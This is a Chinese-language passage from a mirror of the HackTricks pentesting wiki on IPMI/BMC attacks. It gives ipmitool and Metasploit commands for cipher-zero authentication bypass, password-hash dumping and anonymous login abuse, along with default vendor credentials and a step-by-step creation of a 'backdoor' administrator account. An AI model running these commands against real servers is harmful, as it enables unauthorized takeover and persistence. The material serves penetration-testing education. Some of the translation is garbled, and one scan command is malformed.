mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
147 lines
8.9 KiB
Markdown
147 lines
8.9 KiB
Markdown
# 623/UDP/TCP - IPMI
|
||
|
||
## 623/UDP/TCP - IPMI
|
||
|
||
{% hint style="success" %}
|
||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## 基本信息
|
||
|
||
### **IPMI 概述**
|
||
|
||
**[智能平台管理接口 (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** 提供了一种标准化的方法,用于远程管理和监控计算机系统,独立于操作系统或电源状态。该技术允许系统管理员远程管理系统,即使在系统关闭或无响应时,特别适用于:
|
||
|
||
- 操作系统启动前的配置
|
||
- 关机管理
|
||
- 从系统故障中恢复
|
||
|
||
IPMI 能够监控温度、电压、风扇速度和电源,同时提供库存信息、查看硬件日志,并通过 SNMP 发送警报。其操作所需的基本条件是电源和局域网连接。
|
||
|
||
自 1998 年英特尔推出以来,IPMI 得到了众多厂商的支持,增强了远程管理能力,特别是 2.0 版本对串行局域网的支持。关键组件包括:
|
||
|
||
- **主板管理控制器 (BMC):** IPMI 操作的主要微控制器。
|
||
- **通信总线和接口:** 用于内部和外部通信,包括 ICMB、IPMB 和各种本地及网络连接接口。
|
||
- **IPMI 内存:** 用于存储日志和数据。
|
||
|
||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||
|
||
**默认端口**:623/UDP/TCP(通常在 UDP 上,但也可能在 TCP 上运行)
|
||
|
||
## 枚举
|
||
|
||
### 发现
|
||
```bash
|
||
nmap -n -p 623 10.0.0./24
|
||
nmap -n-sU -p 623 10.0.0./24
|
||
use auxiliary/scanner/ipmi/ipmi_version
|
||
```
|
||
您可以**识别**版本使用:
|
||
```bash
|
||
use auxiliary/scanner/ipmi/ipmi_version
|
||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||
```
|
||
### IPMI 漏洞
|
||
|
||
在 IPMI 2.0 的领域中,Dan Farmer 发现了一个重大的安全缺陷,通过 **cipher type 0** 暴露了一个漏洞。这个漏洞在 [Dan Farmer 的研究](http://fish2.com/ipmi/cipherzero.html) 中有详细记录,允许在目标有效用户的情况下,使用任何密码进行未经授权的访问。这个弱点在 HP、Dell 和 Supermicro 等制造商的各种 BMC 中被发现,表明所有 IPMI 2.0 实现中存在广泛的问题。
|
||
|
||
### **通过 Cipher 0 绕过 IPMI 认证**
|
||
|
||
要检测这个缺陷,可以使用以下 Metasploit 辅助扫描器:
|
||
```bash
|
||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||
```
|
||
利用这个漏洞可以使用 `ipmitool` 来实现,如下所示,允许列出和修改用户密码:
|
||
```bash
|
||
apt-get install ipmitool # Installation command
|
||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||
```
|
||
### **IPMI 2.0 RAKP 认证远程密码哈希检索**
|
||
|
||
此漏洞允许检索任何现有用户名的加盐哈希密码(MD5 和 SHA1)。要测试此漏洞,Metasploit 提供了一个模块:
|
||
```bash
|
||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||
```
|
||
### **IPMI 匿名认证**
|
||
|
||
许多 BMC 的默认配置允许“匿名”访问,其特征是空用户名和密码字符串。此配置可以被利用来重置使用 `ipmitool` 的命名用户帐户的密码:
|
||
```bash
|
||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||
```
|
||
### **Supermicro IPMI 明文密码**
|
||
|
||
IPMI 2.0 中的一个关键设计选择要求在 BMC 中存储明文密码以进行身份验证。Supermicro 将这些密码存储在 `/nv/PSBlock` 或 `/nv/PSStore` 等位置引发了重大安全隐患:
|
||
```bash
|
||
cat /nv/PSBlock
|
||
```
|
||
### **Supermicro IPMI UPnP 漏洞**
|
||
|
||
Supermicro 在其 IPMI 固件中包含的 UPnP SSDP 监听器,特别是在 UDP 端口 1900 上,引入了严重的安全风险。根据 [Rapid7 的披露](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) 的详细信息,Intel SDK for UPnP Devices 版本 1.3.1 中的漏洞允许对 BMC 进行根访问:
|
||
```bash
|
||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||
```
|
||
### 暴力破解
|
||
|
||
**HP 在制造过程中随机生成其** **集成灯光控制 (iLO)** **产品的默认密码**。这一做法与其他制造商形成对比,后者往往使用**静态默认凭据**。以下是各种产品的默认用户名和密码的总结:
|
||
|
||
- **HP 集成灯光控制 (iLO)** 使用**工厂随机生成的 8 个字符字符串**作为其默认密码,展示了更高的安全级别。
|
||
- 像**戴尔的 iDRAC、IBM 的 IMM**和**富士通的集成远程管理控制器**等产品使用易于猜测的密码,如“calvin”、“PASSW0RD”(带零)和“admin”。
|
||
- 同样,**Supermicro IPMI (2.0)、Oracle/Sun ILOM**和**华硕 iKVM BMC**也使用简单的默认凭据,其中“ADMIN”、“changeme”和“admin”作为它们的密码。
|
||
|
||
## 通过 BMC 访问主机
|
||
|
||
对基板管理控制器 (BMC) 的管理访问打开了访问主机操作系统的各种途径。一种简单的方法是利用 BMC 的键盘、视频、鼠标 (KVM) 功能。这可以通过重启主机到根 shell(使用 `init=/bin/sh`)或从设置为救援磁盘的虚拟 CD-ROM 启动来实现。这些方法允许直接操作主机的磁盘,包括插入后门、数据提取或进行安全评估所需的任何操作。然而,这需要重启主机,这是一个显著的缺点。在不重启的情况下,访问正在运行的主机更为复杂,并且因主机的配置而异。如果主机的物理或串行控制台保持登录状态,可以通过 BMC 的 KVM 或串行通过 LAN (sol) 功能轻松接管,使用 `ipmitool`。探索共享硬件资源的利用,如 i2c 总线和超级 I/O 芯片,是一个需要进一步研究的领域。
|
||
|
||
## 从主机向 BMC 引入后门
|
||
|
||
在攻陷一台配备 BMC 的主机后,**可以利用本地 BMC 接口插入后门用户账户**,在服务器上创建持久存在。这一攻击需要在被攻陷的主机上存在**`ipmitool`**并激活 BMC 驱动程序支持。以下命令说明了如何使用主机的本地接口将新用户账户注入 BMC,从而绕过身份验证的需要。这一技术适用于包括 Linux、Windows、BSD 甚至 DOS 在内的广泛操作系统。
|
||
```bash
|
||
ipmitool user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 ADMIN true false false Unknown (0x00)
|
||
3 root true false false Unknown (0x00)
|
||
|
||
ipmitool user set name 4 backdoor
|
||
ipmitool user set password 4 backdoor
|
||
ipmitool user priv 4 4
|
||
ipmitool user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 ADMIN true false false Unknown (0x00)
|
||
3 root true false false Unknown (0x00)
|
||
4 backdoor true false true ADMINISTRATOR
|
||
```
|
||
## Shodan
|
||
|
||
* `port:623`
|
||
|
||
## References
|
||
|
||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||
|
||
{% hint style="success" %}
|
||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|